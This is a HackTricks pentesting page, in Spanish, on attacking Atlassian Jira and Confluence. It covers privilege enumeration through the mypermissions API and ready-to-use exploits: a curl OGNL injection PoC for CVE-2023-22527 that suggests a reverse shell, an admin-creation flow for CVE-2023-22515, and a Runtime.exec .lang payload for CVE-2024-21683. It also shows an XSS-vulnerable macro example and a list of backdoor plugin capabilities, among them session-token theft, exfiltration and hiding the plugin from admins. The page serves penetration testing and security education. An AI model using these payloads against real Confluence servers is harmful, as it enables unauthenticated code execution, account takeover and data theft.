Jira & Confluence
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Comprobar privilegios
En Jira, los privilegios se pueden consultar por cualquier usuario, autenticado o no, a través de los endpoints /rest/api/2/mypermissions o /rest/api/3/mypermissions. Estos endpoints revelan los privilegios actuales del usuario. Existe una preocupación notable cuando usuarios no autenticados tienen privilegios, lo que indica una vulnerabilidad de seguridad que potencialmente podría ser susceptible de un bounty. Del mismo modo, privilegios inesperados para usuarios autenticados también indican una vulnerabilidad.
Se realizó una actualización importante el 1 de febrero de 2019, que obliga al endpoint ‘mypermissions’ a incluir un parámetro ‘permission’. Este requisito busca mejorar la seguridad especificando los privilegios consultados: check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
Ejemplo: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
Enumeración automatizada
RCEs recientes & notas prácticas de exploit (Confluence)
CVE-2023-22527 – unauthenticated template/OGNL injection (10.0)
- Afecta a Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. La plantilla vulnerable de Velocity
text-inline.vmpermite la evaluación OGNL sin autenticación. - Quick PoC (el comando se ejecuta como confluence user):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- El encabezado de respuesta
x-cmdcontendrá la salida del comando. Sustituyeidpor un reverse shell payload. - Escáner: plantilla de nuclei
http/cves/2023/CVE-2023-22527.yaml(incluida en nuclei-templates ≥9.7.5).
CVE-2023-22515 – setup reactivation admin creation (auth bypass)
- Publicly reachable Confluence Data Center/Server 8.0.0–8.5.1 allows flipping
setupCompleteand re‑running/setup/setupadministrator.actionto create a new admin account. - Minimal exploit flow:
GET /server-info.action(sin autenticación) para comprobar la accesibilidad.POST /server-info.actioncon parámetrosbuildNumberpara alternar el flag de setup.POST /setup/setupadministrator.actionconfullName,email,username,password,confirmpara crear un admin.
CVE-2024-21683 – authenticated RCE via Code Macro upload
- Confluence Admin can upload crafted language definition in Configure Code Macro; Rhino engine executes embedded Java, leading to RCE.
- For a shell, upload a
.langfile containing payload like:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- Se activa al seleccionar el lenguaje malicioso en cualquier cuerpo de Code Macro. El módulo de Metasploit
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683automatiza auth + upload + exec.
Plugins de Atlasian
Como indica este blog, en la documentación sobre Plugin modules ↗ es posible revisar los diferentes tipos de plugins, como:
- REST Plugin Module ↗: Exponen endpoints API RESTful
- Servlet Plugin Module ↗: Despliegan servlets Java como parte de un plugin
- Macro Plugin Module ↗: Implementan Confluence Macros, es decir, plantillas HTML parametrizadas
This is an example of the macro plugin type:
Ejemplo de Macro Plugin
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
Es posible observar que estos plugins podrían ser vulnerables a vulnerabilidades web comunes como XSS. Por ejemplo, el ejemplo anterior es vulnerable porque refleja datos proporcionados por el usuario.
Una vez que se encuentra un XSS, en [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) puedes encontrar algunos payloads para aumentar el impacto del XSS.
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) describes different (malicious) actions that could perform a malicious Jira plugin. You can find [**code example in this repo**](https://github.com/cyllective/malfluence).
Estas son algunas de las acciones que un plugin malicioso podría realizar:
- **Hiding Plugins from Admins**: Es posible ocultar el plugin malicioso inyectando algo de javascript en el front-end.
- **Exfiltrating Attachments and Pages**: Permitiría acceder y exfiltrar todos los datos.
- **Stealing Session Tokens**: Agregar un endpoint que devuelva los headers en la respuesta (con la cookie) y algo de javascript que lo contacte y leak las cookies.
- **Command Execution**: Por supuesto, es posible crear un plugin que ejecute código.
- **Reverse Shell**: O conseguir un reverse shell.
- **DOM Proxying**: Si la confluence está dentro de una red privada, sería posible establecer una conexión a través del navegador de algún usuario con acceso a ella y, por ejemplo, contactar al servidor ejecutando comandos a través de él.
## References
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>


